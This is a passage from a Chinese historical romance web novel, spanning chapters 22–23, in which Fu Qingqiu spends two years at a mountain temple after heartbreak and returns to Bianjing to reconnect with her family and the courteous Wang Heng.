元圣将来龙去脉说清,他了然,温声道:“既如此,将我的这间让出去,我与二位小师父同住可好。” 元智带他去往寮房,元圣则将此事告知盛婼。 付清秋在客堂安置好,便出门去寻盛婼,正巧在此,遇上了元智返回取扇。 秋风生涩寒凉,元智火急火燎地来去,只当未看见付清秋。 付清秋拦下他,轻声问:“你这小师父,横冲直撞地作甚,我是哪里得罪了你?正眼也不瞧我。” 元智手中抱着包袱和扇子,眼神闪躲,仍旧不看付清秋。 付清秋反倒觉得有趣,就这样拦在他身前,他跨一步,付清秋跟一步,誓要说个所以然。 “哎呀!小娘子,我有事在身,小娘子别再拦我了。”元智架不住她,愤愤道。 绿柳云露出来瞧见这幕,远远地看着两人。 元智见身后两道目光扫在后背,只觉如芒在背,如鲠在喉,竟泪汪汪地红了眼眶。 “你们这些官家小姐,怎么这么欺负人,只知道戏弄我和师兄。” 元智委屈巴巴地哭出声,付清秋怔在原地,一时间手足无措。 付清秋连连蹙眉,忙哄道:“我何曾说了要将你赶出寺里去?你倒好反咬我一口,我不过是问问你为何不瞧我。” “愣着做甚,给小师父倒杯茶。”付清秋朝两人使眼色。 云露拽着绿柳进屋,云露笑道:“这小和尚还是个胆小的,竟还被姑娘气哭了。” 绿柳轻笑一声,暗想姑娘这些时日身子好转,心思也活络了。 亭子里云露取了几碟点心,倒了盏茶,付清秋支手扶额垂眸看着元智眼馋地望着碟子里的点心。 “吃罢。”付清秋眉尾轻挑,元智犹豫半晌,正要伸手拿,付清秋却把碟子收回,笑道:“可以吃,但得告诉我刚刚为何哭,又为何不拿正眼瞧我?” 元智两腮气鼓鼓地别过眼,心道她根本不想把点心给他吃。 付清秋道:“你只需告诉我,我日后把糕点都分你一份,这可是汴京城里最好的糕点铺子,有钱都不一定吃得上呢,小师父不想尝一尝?” 佛说,清心寡欲,不可贪。 元智摇摇头,暗道佛肯定没吃过这糕点,否则怎么能说出如此薄情寡义的话,必是假话,这回吃了下次不吃了就是。 “那,那我说了,可不是为了糕点,我只是想给小娘子说清楚。”元智虽别过头,但目光却粘在糕点上。 没想到这回云露带的百花糕竟派上了用场。付清秋轻笑,“小师父和我说,我自然听着。” 元智轻咳一声,故作老成,道:“本不是什么大事,我只是怕得罪了小娘子,先前山门前的那个小娘子,生得那么漂亮却那么凶,一点儿都不像大家闺秀。” 语罢,却听有人来,付清秋将糕点推给元智。 “请小师父品鉴。” 元智半推半就地尝了一块,当真是称得上汴京一绝,元智甜滋滋地笑起来,不动声色地塞了一块在袖里。 “小师父,盛姐姐只是性子直,是无心之举,小师父莫要介意了。”付清秋道,“盛姐姐也是为了我才想借一间堂客的。” 元智拿糕点的手一顿,他算是明白了何谓‘拿人手短,吃人嘴短’吃了这百花糕,就是心里有天大的气,都得消一半。 绿柳从外头来回话,“是迎我们进寺的另一个小师父并一个郎君来了。” “完了完了。”元智登时弹坐起身,掸开衣上碎屑。 “小娘子,先前的话是我说的不对,千万千万别和师兄说我方才哭了。”元智央求道。 付清秋颔首,问:“想必来的那位郎君便是腾出堂客的人了,云露再取一碟点心来。” 元智瞬时正经,点头称是。 半山腰的秋风清爽,这间客堂临近枫林,总有翩翩落叶,山色枯寂,枫叶多情处处留恋。 绿柳引元圣和那郎君进来,付清秋垂首候在亭下,云露已备好糕点。 第22章 那十二年她不要了 付清秋睫羽轻颤, 缓缓抬眸,却见那人迎秋风而来,似曾相识。 “在下王恒。” 他低眉躬身, 付清秋还礼, 这是她在山中匆匆见过一眼的人。 但她总觉她应该在更早之前见过他。 “多谢郎君腾出客堂, 来时匆匆,未备谢礼实在抱歉。”付清秋悄然望向百花糕。 王恒乃王国公嫡长子,王国公夫人陈芸所出, 陈芸子嗣稀薄,膝下只王恒一子, 其余皆是妾室所出。 如此, 王恒深得国公重视,虽年青却在汴京是个不可多得的贵公子。 思及此,付清秋倒觉得这也寻常了, 毕竟这位贵公子,素来温厚有礼, 待人接物更是文雅。 王恒早已认出眼前人是付清秋,三月十五初见,春风满园, 海棠盛开, 只消一眼便记下了她。 只是如今再见,总觉她不同于初见。 付清秋命云露将百花糕送至元圣元智的寮房,王恒并未多留, 随元圣元智一道离开。 夜间元智被元圣拉到大殿数落,说他如何如何的不尽心,一心只想贪玩,空绝方丈见此, 笑看二人不多言其事。 次日一早,国公夫人已备下宴席,青山寺的后山有一处空地,四周枫林环绕,是绝佳的赏景之地,又因处在半山腰,可观群山。 付清岁知付清秋心病犹在,况又在山寺之中,只随她的心意去。 再不济还有国公夫人总归是安心的。 宴席之上,姑娘郎君分坐,直到开席之时,付清秋才知尹惜和贺清竟也在此。 盛婼挨着付清秋同坐,浅浅吃了盏茶,见身旁的人心不在焉,便问:“付二,你在瞧什么。” 付清秋收回视线,呷了口茶,道:“没什么。” 今日长空万里,天轻云淡,颤颤枫叶耸立枝头,风一吹,哗哗落下。 此情此景,她恍惚想起杏院里逐渐败落的青梅树,也不知明年能否生出新叶。 “付二,你的心变重了。” 盛婼眉间一凝,“从前你不这样的,就算不喜欢出席宴会,也断不会如此,你有事瞒着我。” 付清秋眉尾轻扬,眉心微蹙,“我哪儿不一样了?盛姐姐,是你太久没见我了,我的事儿,可只有你知道。” 保神观里究竟发生了,让付清秋性情大转,实在惊奇。盛婼知她不愿说,也不好强她。 不远处尹惜朝付清秋看去,吕汀英顺着尹惜的视线望去,只见两位灵秀的小娘子,不过及笄之年,煞是端庄清丽。 “怎么看起别人来了?你认得?”吕汀英疑道。 尹惜微微颔首,命冬月将茶换成了玉液酒,吕汀英忙拂开茶盏,愁道:“你待会醉了,难不成要在这里闹起来?想来贺大人也太纵着你了。” “他欠我的。”尹惜不以为意,与吕汀英周旋片刻,还是将酒饮下。 吕汀英嗔道:“贺大人这样好的郎君,还欠你,我瞧着你欠他还差不多,别太得寸进尺了。” “阿英,我有些话想同那位小娘子说,你等我会。”尹惜眉尾轻挑,面若桃花。 吕汀英知她是有了醉意,哪肯让她去,拉着尹惜的手,尹惜力大,犹如脱缰野马,此刻吕汀英才知方才那盏茶,早被换成了玉液酒。 尹惜已作人妇,况且嫁的是那样风光霁月的人,纵使在席上闹了笑话也没什么。 可她如今还未嫁人,原先定亲的张家因获罪,只得退婚,到如今她还未有婚配。 吕汀英不敢起身去扯尹惜,只忧心地看她往那处去。 王夫人见有人在席间穿行,一眼望见尹惜晃悠的身形,王夫人拧眉,众多贵妇娘子循声望去,纷纷敛目低笑。 付清秋看尹惜朝她来,心下纳闷,只是一瞧便知尹惜醉了,这在席上耍酒疯,付清秋是头一回见。 恰此时,风清云散,枫林凌乱。 忽见贺清快步而来,习以为常地拦下尹惜,尹惜拍打贺清。 “谁拦我?!”尹惜挣扎,不肯和贺清走。 大庭广众之下,尹惜如此失礼,大闹国公夫人的宴席,贺清牵住尹惜,向国公夫人赔礼。 “内子贪杯,大醉一场,实在扫兴,还请夫人见谅。”贺清朗月清风,说出此话,仪态诚恳。 王夫人淡声道:“既如此,贺侍郎便请回罢。” 尹惜还欲去寻付清秋,却被贺清拦腰抱起匆匆离席。 付清秋总觉方才尹惜是要寻她说话的,只是她想说些什么?从前尹惜瞧不上她,如今怎么会想同她说话。 “那是尹姐姐罢,汴京城里的大才女,竟在宴席上耍酒疯,这传出去不得被笑话。”盛婼兴致盎然,“不过,尹姐姐当真是不同。” 付清秋应道:“尹姐姐,自当与别人不同的。” 经尹惜这么一闹,王夫人顿觉无趣,她虽不善诗词,却也知道贺清尹惜的词是最好的,倘若在枫林宴上作两首,也好叫众人一乐。 现下,尹惜醉酒,贺清离席,哪还有什么趣,就连眼前的枫叶都越发的萧索。 席间有眼力见的夫人,见王夫人兴致缺缺,便主动搭话,只讲汴京趣事,一时间当初金明池跳河一事被搬上台面。 王夫人讶然,“那是谁家的姑娘落了水?那日官家也在金明池,若是被瞧见,实在是丢脸。” 夫人们笑言不知,王夫人听罢,不再追问。 付清秋早已被唬得失了魂,偏生被盛婵瞧见,盛婵扫视一圈,心道那人定然在其中。 “我知道是谁。”盛婵得意出声,“我当日就在池边,只见那人青衣罗裙,必在这宴席之上。” 付清岁心中一紧,余光看向付清秋,只见她淡然自若,毫无怯意。 王夫人看她与付清岁同坐,柔声道:“你是那家的姑娘?” 还不待盛婵回话,王夫人身旁服侍的女使低声道:“盛家的二姑娘,是张氏所出。” 闻言,王夫人眸光渐沉。 盛家这一家子,在汴京常常是笑话,饶是盛家高官厚禄,又有御史大夫做亲家,却只是个幌子。 风光不假,可里头是一团黑煤。 当年何棋也算得上汴京才貌双全,父亲是何元稹,与她又有些交情,可惜一朝低嫁,所托非人,落得个红颜早逝的命。 何棋死后,便由张氏执掌中馈,在汴京闹了好些笑话,一来是盛婼誓死不认张氏,二来是盛婼大闹盛府,若非何元稹顾念着孙女,盛婼早不知被打死了多少回。 教女无方,德行不检,纵使他盛家再好的门第,又有几个世家贵族看得上。 盛婵张氏所出,想来承了张氏的本事,王夫人暗道,付清岁温顺端庄的姑娘怎会和盛婵交好。 盛家又是那样的污糟。 王夫人蹙眉阖目,轻声道:“罢了,都是过去的事了,是谁已不重要。” 盛婵正想着如何推出付清秋来,眼见王夫人没有兴头,只好咽回去。 付清秋低声喃喃,“青山寺的枫林当真是美啊,可惜。” 师无涯销声匿迹已有五个月了,付清秋黯然垂眸,如果师无涯在,这场枫林宴他是否会喜欢。 盛婼凝眉,疑道:“可惜什么?” “没什么,盛姐姐,我有些累了,先回了。”付清秋起身作别。 王夫人远远颔首,视线落在盛婼身上,她瞧着盛婼与何棋足有七分像,只是容颜像,仪态行事大相径庭。 “那你等我会,待会我来寻你,有话找你说。”盛婼道。 付清秋颔首应下,准绿柳和云露留在盛婼身边多留,她一个人回客堂,山路平坦,秋日红叶纷飞,眺望远山重峦叠嶂,皆是红枫枯蝶。 自下俯视可远观汴京,看尽琼楼玉宇,山川河海。 付清秋驻足观望,静静地看着汴河上的航船客舟,从汴河南下,便可回杭州,只是一路山高水远,没有十天半个月是到不了的。 山风欲起,枫叶簌簌作响,天色愈渐昏沉,疾风乍起,搅散一地枫叶。 估摸着是要落雨了,付清秋提裙回客堂,只刚走出一步,风雨来急,劈里啪啦地打在枫叶枝头,满地狼藉。 付清秋不敢多留,这雨来得急,淋湿了又要害病。 曾经她几度为师无涯伤心断肠,甚至到了为情自戕的地步,如今却害怕这场秋雨淋出来病来。 付清秋蓦然轻笑,心中一口闷气,随着这场避无可避的秋雨呼出。 雨幕银帘,掩住山色。 潇潇寒雨沁润肌肤,付清秋身心发颤,卷翘乌黑的长睫上挂着雨珠,抬眼望去离客堂不远了。 只是,她还未动,雨蓦然停了。 但雨声犹在,雨帘未歇,付清秋仰头看她所处的一寸天地。 “付二姑娘,失礼。” 付清秋心下茫然,王恒为她撑伞,何来失礼之说。 “多谢。” 王恒一路送她至客堂,见她身上淋湿,又道:“寺里常备姜汤,山中幽寒,付二姑娘用过后再歇下。” 雨势渐大,檐下雨滴不断,溅起一地水花。 “多谢郎君,只是我有一事想问。”付清秋目光落在他右肩上,那一处被雨水打湿,白袍色浅,一眼便瞧见了。 “付二姑娘想问什么?”王恒眸光温和,似白玉清透。 付清秋微微蹙眉,与他对视。 “我是不是见过郎君,为何郎君认得我?” 王恒微怔,掩下眸光中一闪而过的失落,原来付清秋不记得他,可他与她也只是一面之缘,又如何能要她记得。 “在下唐突,与付二姑娘有过一面之缘。” 一面之缘?付清秋实在记不起,这汴京里的人与她有一面之缘的人实在太多了。 可现下王恒如此说,她怎好叫人难堪。 付清秋抿唇道:“原来如此,难怪第一面便觉得郎君眼熟,原是见过。” 话说完,付清秋便要回屋,王恒走后命元圣元智送来姜汤,元智因来过,一进屋便扬声喊。 “小娘子!小娘子!” 元圣敲打元智,“不可无礼。” 元智道:“小娘子人善心美,只是看起来身子弱了些,师兄让我去罢。” 元智接过姜汤,却发觉客堂无一人在,进了里屋才见付清秋从屏风后出来。 “小师父来做甚?”元智捧上姜汤道,“王公子命我二人将姜汤送来,我和师兄就过来了。” 闻言,付清秋往外看去,果见元圣肃立在外。 付清秋端出百花糕,让他二人在亭下歇一歇,待到雨小了再离开,她闲来无事,跟着歇在亭下。 元智行云流水地拿起糕点往嘴里塞,元圣睨他一眼,向付清秋道:“师弟贪吃,娘子莫怪。” “你二人差不多大,倒是性格相反,吃罢小师父,我不爱吃。”付清秋只手托腮,含笑看他二人神态各异。 元智含糊道:“师兄,快吃,我今日见贺夫人来了,指不定又去偷酒吃了,待会我们去逮她。” 元圣还未接话,付清秋便疑道:“那个贺夫人?” “就是贺侍郎的妻子,尹太师的女儿,尹娘子。”元圣解释道,“师弟惯喜胡言乱语,付二娘子别放在心上。” 付清秋心道尹惜竟还有这面,不过转念一想,尹惜在枫林宴上毫无顾忌地大醉,实在不像她当日在青园所见的尹惜。 “尹姐姐,竟还有这面。”付清秋蓦然一喜。 元智道:“何止此,贺夫人常来青山寺诵经念佛,说是什么感念恩德,她一来就是作诗喝酒,谁都拦不住,前几回贺侍郎来抓贺夫人,还叫贺侍郎扑了个空。” 元智吃了盏茶,三两下便吃得差不多,还贴心的为元圣留了两块。 元圣是不肯吃的,只时不时地觑元智。 “贺夫人要是知道你如此说,还不得你拿你当书童。”元圣道。 “我才不怕她,我要找方丈告状,上回她拿了我房里的笔,到如今都不还给我,害得我经文都抄不了。”元智皱眉说着。 付清秋倒觉有趣,听他二人说。 时近酉时,天色空蒙橙黄,付清秋听他们说了一下午,哭笑不得。 元智总揭元圣的短,一会是元圣幼时滚到了水里,掏鸟窝被鸟追,元圣自然不由他说,反说元智他因贪吃,夜里整夜整夜的闹肚子,害得他跟着起夜掌灯,险些两人摔进茅厕。 付清秋笑得泪花打转,云露绿柳正巧回客堂见着这幕,心中感概万千。 自师无涯走后,付清秋病虽日渐痊愈,可总不见笑,纵使笑也只是为了应付。 雨已经停了好一会,元圣元智一时不差,竟在付清秋这儿待了两个时辰,元圣起身拉走元智。 “今日多有打扰,娘子勿怪。”元圣正色道。 付清秋摆摆手,笑道:“这算什么事,来日多和我说说话罢。” 元智被元圣拽着往外走,却不忘回头和付清秋说话,“小娘子!下回我还要吃百花糕,小娘子回见!” “姑娘,这场雨来得急,盛二姑娘怕山路滑,便留了我们等雨小,还请姑娘莫怪罪。”云露低声说着,绿柳在一旁垂首。 付清秋摇头说:“无事,去歇会吧,我再坐坐。” 闻言,云露连忙进屋去换鞋,绿柳守在付清秋身边,二人裙角沾了污泥,付清秋见她还在,便问。 “绿柳,你不去换身衣裳吗?”付清秋抬眸望向她。 绿柳轻声道:“姑娘,我想陪着你。” 付清秋垂首不语,绿柳静候在亭下,她心知姑娘不同于以往,故而想多留在她身边,陪着她。 雨后山色空蒙,轻雾缭绕,仿佛莹白披帛,檐下水珠仍旧滴答,风凛凛地吹,云露找来披风为付清秋膝上。 “绿柳姐姐,去歇一歇罢,手都冷了。”云露拉过绿柳的手往屋里去。 翌日一早,付清秋只身一人往大殿去上香,空山新雨后,青山寺位于半山腰,青山如洗,颇有空远开阔之意,一副活灵活现的山水画。 礼佛毕,出殿时恰遇空绝方丈,付清秋颔首施礼。 空绝鬓发斑白,身着百衲衣,左手捻着佛珠,见有人向他施礼,白眉轻动,半眯着眼笑起来。 “娘子体弱,何须早起来上香。”空绝声音沉重古朴。 若非这风吹得付清秋手冷面寒,她便觉着眼前人是老神仙来了。 “姐姐说,上香需早需诚,如此想着我便来得早些了。”付清秋眺望雨后新山,缓缓开口问,“方丈,我听闻贺夫人曾在此修行过一二年,不知我能否也在这儿修行。” 空绝瞳孔轻颤,痴痴笑起来,“娘子若愿意,留下便是,不止贺夫人,小公子也常来青山寺修行,倒不是什么大事。只是这山路难行,娘子可舍得吃苦,寺里斋饭清淡,又不知娘子能否适应。” 汴京中多有假借修行的名义,为自身添一份风雅,只是正在在寺里清修的,空绝只见过两人,一是尹惜,二是王恒。 除此之外,偶有修行的官员来参拜,不过是待上一两日便离开了。 听空绝如此说,付清秋犹豫半晌,笑道:“这样啊,那也无事,正合我意。” 空绝原以为她会知难而退,却不想她竟应了下来,她有此志,空绝亦不再劝阻,颔首应了下来,吩咐元圣元智枫林宴后腾出一间寮房。 付清岁得知此事,连连蹙眉,道:“绝不行,母亲看重你,怎么会由得你胡来。” “姐姐,我自会和母亲的说的,我意已决,两年后我再下山,母亲若是怪你,便和她说我这辈子再不下山。”付清秋眼含笑意,挽着付清岁的手,一如幼时求她办事。 付清岁忧心道:“你的病才好,又要离家两年,母亲父亲怎么能放心?” “你还没忘记那件事?” “你的心里还有师无涯,是不是?” 付清岁接连追问,付清秋眸光忽暗,松了付清岁的手,背过身去。 “姐姐,何须问这么多呢,我只是想一个人静静。” 付清岁拗不过她,终是应了下来,妥协后,付清岁道:“你身边总得留个人在,绿柳和云露都是你的贴身女使,又是你从小的玩伴,让谁留下来?” 良久,付清秋道:“留云露罢。” * 韦氏得知此事,气得摔杯砸盏,几度想要去青山寺将人拿回来,却听付清岁将付清秋的话带了回来。 若是付家有人去寻她,她便永生永世不入汴京,自裁跳河什么事她都能做得出来。 付彰和韦氏只得纵着她去,就连付高越和付远衡都不敢去寻。 付清秋自小性子拧,有什么事是她做不出来的,韦氏成日哭得昏天黑地,几夕之间,鬓发生白丝,李妈妈跟着急,心里只怪是师无涯惹出来的祸事,真是付家的灾星。 一去两年,韦氏扳着手指数日子,付清岁侍奉在韦氏身边,无一丝差错。 付清秋不在宅里,绿柳空守杏院,与这相比,她更不明白为何付清秋留下的是云露。 青山寺中的日子清闲规矩,每日诵经礼佛,闲时付清秋便跟着元圣元智读诗赏景,素衣简食,她仍旧住在先前的客堂里,云露见她如此,只得跟着诵经礼佛,吃得嘴里都没了味。 幸而青山寺的常客,常来。 尹惜得闲便会上青山寺,那日去寻元智偷酒吃时,竟然瞧见了个素衣美人,走近一看竟是熟人。 付清秋知尹惜是常客,并不惊讶,反倒是尹惜绕着付清秋转了好几圈,蛾眉深蹙。 “付二姑娘,这是作甚?”尹惜惊疑道。 付清秋眸光莹润,眼中欢喜,道:“我如今在青山寺修行,望尹姐姐能点拨一二。” 尹惜顿觉诧异,“当日你在青园可不是这般模样,如今反倒要我点拨你?我尹惜恐怕没有这个能耐。” “那时我愚笨,哪里知道尹姐姐如此好,尹姐姐大人不记小人过,不妨同我说说诗词歌赋。”付清秋凑到尹惜身边,亲昵地挽上她的手,眉目可怜地望着她。 尹惜眉尾轻挑,道:“也不是不可以,但你下回得帮我从元智哪儿拿酒吃。” 付清秋道:“这有何难。” 凛冬将至,远山共色,白雪飘零。 付清秋与尹惜亭下对弈,尹惜忽地开口:“我听闻付夫人是不允你修行的。” “已在寺中三四月,还能继续修行,多谢尹姐姐常来陪我。”付清秋手执白棋,认真思索着。 尹惜不以为意,道:“不止有我来呢,还有那位国公少爷呢,可见我不在时,亦有人陪着你。” 付清秋羞赧一笑,尹惜随手放下黑棋,道:“若喜欢,就紧着点,不喜欢便放手罢了,空叫人伤心。” “那国公少爷我是见过的,人品高洁,实乃君子之风。”尹惜拢了拢披风,起身道,“今日我不留宿。” * 春去秋来,光阴逐水流,不知多少回对弈,不知多少回吟诗作曲。 这一晃眼,已有两年有余。 从青山寺离开时,元圣元智又长高了,元智红着眼说:“付二娘子何时再回来?” 元圣敲他,“付二娘子是回家又不是不来了,只晓得哭。” 付清秋招手让元智过来,悄声在他耳边低语。 “尹姐姐,又挖了你藏在桂花树下的酒吃,今日王郎君要来,你告诉他我今日离开的,回汴京后金明池见。” 元智又气又急,顿时止住了泪,那酒是他私酿的,尹惜常吃他的酒,元智倒也习惯了,可这回是桂花酿!是王国公要点名酿的。 “行了行了,我赔你一坛就是了。”付清秋轻抚元智的头,“呀,元智长高了呢。” 元智拔腿躲到元圣身后,空绝面目慈悲,相较于两年,仍无变化。 空绝道:“付娘子修行两年不知心中是否找寻到了答案。” 付清秋施礼,道:“不谈顿悟,只觉少时多有愚钝,心有执念罢了,多谢方丈照拂。” 春风拂面,汴河杨柳又绿,满城春色不尽。 时隔两年,再回汴京,街头闹市依旧繁华,汴京从未变过。 她还有一生的时光去消磨,那十二年她不要了,往后自有无尽春色。 第23章 两情相悦 韦氏听闻她今日回京, 早早地候在南薰门,春色醉人,韦氏撩开幕帘, 只盼着快些见着她。 两载, 整整两载光阴, 她日思夜想的小女儿,总算回京了。 付清秋与云露轻装简行,一路步行至韦氏跟前, 韦氏只一眼便瞧出了那抹幽幽青影,只这一眼, 韦氏心头万千苦楚倾泻而出, 登时红了眼。 李妈妈知她心急,忙扶着韦氏下马车。 “你还知道回来。”韦氏捶胸顿足,哭喊道, “你这心是铁打的不成,竟叫为娘的两载不见女儿。” 付清秋轻笑, 柔声道:“母亲,我不是回来了吗,又不是不回来了。” “回来?那时你是如何说的, 只怕是想再不回来。”韦氏声泪俱下, 李妈妈顺着后背,朝付清秋颔首。 回宅途中,韦氏拉着付清秋说了好些, 恨不能将这两年发生的事一一说下来。 付清秋心知母亲念着她,一字一句间渐渐红了眼,听韦氏娓娓道来,好似她从未离京修行, 而是服侍在父母膝下安乐无忧。 离京两年,世事变迁。 回付宅后其中两桩事让付清秋一时没回过神来。 一是付远衡娶妻,且大嫂已有孕在身。 二是付清岁已嫁人。 付清秋回杏院后来不及收拾,匆匆去见付远衡,此时付远衡不在家中,想来只有她的那位大嫂。 穿行回廊之间的付清秋心中好奇,她的大嫂是一个什么的女子。 端庄柔婉,清艳脱俗,亦或是绝色佳人。 阳春三月,春景煞是明艳,晴空万里,庭中树木回春,花香四溢,光影跃动之间,钩织出一副盎然春景图。 “姑娘慢些,大娘子又不会跑。”云露快步跟着她。 付清秋顿步,云露险些撞上去。 “你说得有理,大嫂不会跑。”付清秋回过神来,“你觉得我今日去见大嫂如何?或者我是不是该备些东西给我的小侄子?或者我——” 付清秋眉头深蹙,急得直打转,且不说她才得知此事,又因未曾见过,不知嫂嫂所喜何物,实在为难。 这比尹惜考她诗文更为紧张。 云露窘迫地看着付清秋,朝她使眼神,“姑娘,何不当面问问大娘子。” 付清秋眸光一转,忽觉后背一寒。 她的大嫂嫂是她值得敬重的人,怎么就要这样仓促狼狈的见面了。 “清秋?” 吕氏看着面前背对着她的小娘子,她嫁进付家一年,只见过付清岁,前几日她听闻在青山寺修行的妹妹要回京,韦氏本欲让她一道去,只是她身子重,实在难以承受,便想着等她回来,备一份厚礼。 春风袭来,付清秋缓缓转身施礼,她梳着简单的发髻,素绿的簪子和她衣裙甚是相配。 吕氏忙扶她,道:“我未曾去接你,是因身子重,怕沿路颠簸。” “听母亲说你在青山寺修行,如今才回来,乍一相见,我觉你甚是相熟。”吕氏牵着她的往杏院去,付清秋顺势轻扶着她。 她的这位大嫂,端庄贤淑,眉目之间极为温和,谈吐不俗,与她大哥是相配的。 付清秋挽着吕氏的手进屋,绿柳云露奉茶。 付清秋接着方才的话,“大嫂如何见过我,若是两年前,倒还有印象,我与大嫂一见如故,只恨不能早些相认。” 二人相谈甚欢,从吕氏口中得知了她与付远衡相知相识的事。 付清秋细细算来,付远衡和吕氏早已相识,也算得上青梅竹马了。 青梅竹马 付清秋心头一窒,转头望向院里的那棵青梅树,早已枯败,只余树干横斜。 “绿柳这棵青梅树是如何枯的?”付清秋轻抚树干,树皮卷翘干枯,如同沙漠中的干树。 绿柳道:“去年便如此了,不管如何照料总不见好,夫人几次要铲了,我都拦了下来。” 付清秋凝眉,也不是没有办法叫这棵青梅树活过来。 “随它去罢,若是那一日彻底枯了,便让人来铲了就是。”付清秋长舒一口气,对绿柳轻笑道,“这两年辛苦你守着杏院了。” 绿柳心头酸涩,掩下眸中泪花,“姑娘哪里的话。” 自幼时起,绿柳便跟着付清秋,青山寺一别,是最久的一次,整整两年。 “绿柳,日后你若有想求之事,我必应你。” 付清秋眉目舒展,笑意轻浅,这一笑叫绿柳失了神,较两年前的姑娘,如今站在她面前的更为娴静文雅。 从前的姑娘不见了。 绿柳眸光黯淡,垂首侍立。 回付宅的第一日,付清秋正欲去寻付高越,却听绿柳说付高越已往边塞去,已有一年多。 付清秋愣神,付宅里竟只有大哥和大嫂,难怪母亲说及这两年的事,总隐隐含忧,膝下子女各奔东西,空留大宅院。 如此一想,付清秋心怀愧疚。 韦氏向来疼爱子女,往日里的热闹,霎时冷清,恐怕心里是不好受的。 杏院枝头雪白杏花摇曳,花雨纷纷,付清秋正坐在亭下怅惘,忽地一声,有人唤她。 “清秋。” 付清秋循声望去,只见那人如身姿轻盈,身着杏色海棠对襟长褙子,头簪鲜花,清雅脱俗。 “姐姐。” 付清秋起身,眸中倒映着她的身影。 一别两年,她的姐姐仍如当年温婉娴静,只是她已嫁作人妇,眉梢别添一抹风韵。 付清岁眸中带泪,快步上前,欲抱住她,却又怕太过唐突,只是拉着她的手。 “清秋,青山寺里一切可好?听闻你回来,我便从家赶来。”付清岁泫然欲泣,莹莹泪光点点,一双温和的眼眸直盯着她。 她是后悔当年没将付清秋带回来的。 只是如今说什么都晚了。 付清秋被她这一说,鼻尖一酸,道:“姐姐,我一切都好,倒是不知姐姐嫁给了谁?那人待你可好?” 从前,师无涯与付清岁两情相悦,情意深重,或许有朝一日,师无涯会再回来求娶付清岁。 可怎么还未等到师无涯回来,她的姐姐就嫁给了别人。 付清秋心下释然,倘若师无涯真的回来娶付清岁,她必送上厚礼,欢欢喜喜地送姐姐出嫁,遂了两人的心愿。 青山寺的两年,叫她想明白了这些俗事,师无涯不喜欢她,她不该去强求。 过往种种,只当是她年少不知事。 付清岁止住泪,道:“很好,这一生如此平安喜乐,有亲人在世,便是最好的。” 付清秋凝眉,再三启齿,最终将想说的话咽了回去。 “姐姐,这桩婚事,是你情愿的,还是母亲做主的?”付清秋问。 付清岁倏忽一笑,斟茶道:“母亲做主,我情愿的。” 父母之命,媒妁之言,是她愿意的。 闻言,付清秋轻轻松了口气,呷了口茶,付清岁静静地看着她,总觉得这个妹妹变了,又好像没变。 杏院杏花纷飞,春风悠扬,轻抚衣裙。 亭下付清秋似想起什么,转头朝云露道:“去拿棋来。” 付清岁扬唇轻笑,“你要棋作甚?一回来就要和我对弈?怕是在青山寺学了不少东西,要回来考我。” “那是自然,姐姐,今夜在杏院歇下如何。”付清秋凑近付清岁,挽着她的手轻摇着,娇嗔道,“我和姐姐可有两年未见,我心心念念着姐姐能陪我呢。” 付清岁垂眸注视着付清秋,哪里舍得回拒,只是身不由己,她今日是要回府去的。 “不可,清秋,我已嫁人,哪有歇在娘家的,况且母亲命我晚间回去服侍,怕是不能了。”付清岁眼中不忍,见她伤心,反握着她的手,“待到月末,我与母亲说,那时我回来陪陪你如何?” 付清秋眉头轻蹙,神色郁郁,提不起兴头,趴在桌上侧目看她。 恍惚之间,她仿佛回想起付清岁尚未嫁人时的模样,那会她们都是闺阁少女,嬉笑言谈好不自在。 付清秋眼中闪过一丝悲戚,所谓‘物是人非事事休’大抵就是如此了。 “想什么呢?”付清岁接过云露手中棋具,拉起付清秋,见她兴致缺缺,也不知她在想什么。 付清秋恹恹地下棋,付清岁眼中带笑,手执白棋迟迟未落。 “当真是在青山寺学了,我如今是赢不了你了。”付清岁起身,轻抚她的头。 “我要走了,清秋下回我再回来。” 付清秋登时起身,扑进付清岁怀里,一抹轻浅的橘香萦绕着她,付清岁轻轻抱着她,抚着她的背。 比起宅里多了个嫂嫂,付清秋更难以接受的是昔日闺阁玩乐的姐姐不能再轻易相见。 十五年朝夕相伴的姐姐,忽然之间,就不再只是她的姐姐了。 “莫哭了。” 眼见着暮色四合,霞光飞天,冬盈急道:“姑娘,得走了,大人该回来了。” 付清秋不再多留,目送付清岁离开。 月上枝头,清辉薄纱,笼罩春夜。 付清秋在房内书架上点书,好些都是尹惜在青山寺赠与她的,还余些是王恒送她的。 书案前付清秋正细致地打理典籍,云露匆匆进屋,眉眼欢喜。 “姑娘,王郎君当真来信了。”云露从袖中取出信,递到她面前。 云露笑道:“约姑娘金明池相见呢。” 屋内烛火明灭,付清秋垂眸看他的信,若有所思地想着什么,灯火翩然映照她的侧脸,云露看她看得失神,眸中人肤白如玉,眉眼如画比前两年的姑娘出落得更水灵。 付清秋收好信,思忖片刻道:“明日我要穿那件桃红海棠短褙子和泥金百迭裙,前些日子王郎君送的海棠簪子你放哪儿了?” 云露连连点头称好,绿柳自是不知,只一个劲地追问云露。 “你如何照顾姑娘的,这些事都记不住。”绿柳数落道。 云露道:“这两日太忙了,家中的东西还未理清,外头又有,姑娘,绿柳姐姐是我做得不对。” 付清秋抬眼看她二人,轻叹一声,“出去罢。” 翌日清晨,绿柳如往常进屋为付清秋梳妆,却不见人影,忙出来问云露。 “姑娘不爱上妆,况从前在寺里,姑娘哪有心思做这些。”云露睡意朦胧,拉过绿柳的手,“绿柳姐姐,姑娘如今有自己的主意,我们何必管这么多呢,什么簪子衣裳,姑娘心里是有数的。” 绿柳眸光一沉,调转话头:“那姑娘人呢?” 云露懒懒道:“出门了啊,早出去了。” 仲春时节,天青水绿,御街旁杨柳遍地走,池水清清,锦鲤游跃,日光轻柔暖和。 金明池畔佳人踏青,一眼望不尽锦绣绫罗,世家贵女云集,春色如画。 池边亭下,春风袭来,搅动罗裙锦袍。 王恒身着天青色绣金云纹长袍,玉冠束发,眉眼清润,与他同坐的付清秋惬意地眺望池边燕雀筑巢。 “回京了,为何不提前和我说?”王恒温声问道,眼中倒映着她的身影。 付清秋视线仍落在柳树枝头,悠悠道:“同你说作甚?王郎君未必还要接我不成?” “不是不可。” 王恒唇角轻扬,“空绝大师,可问你悟了什么?” 付清秋愕然回神,“你怎么知道。” 王恒笑意更甚,看她乌发间那支海棠栩栩如生,很是衬她。 “往日也问过我,贺夫人也被问过,想来不会落下你。”他道,“寺中那般清净之地,有你在倒是乐趣横生,回了汴京怕是难得了。” 青山寺本是清净地,付清秋被尹惜带着,几次被方丈捉着罚抄经书。 付清秋眼中生喜,似和他想到了同一处。 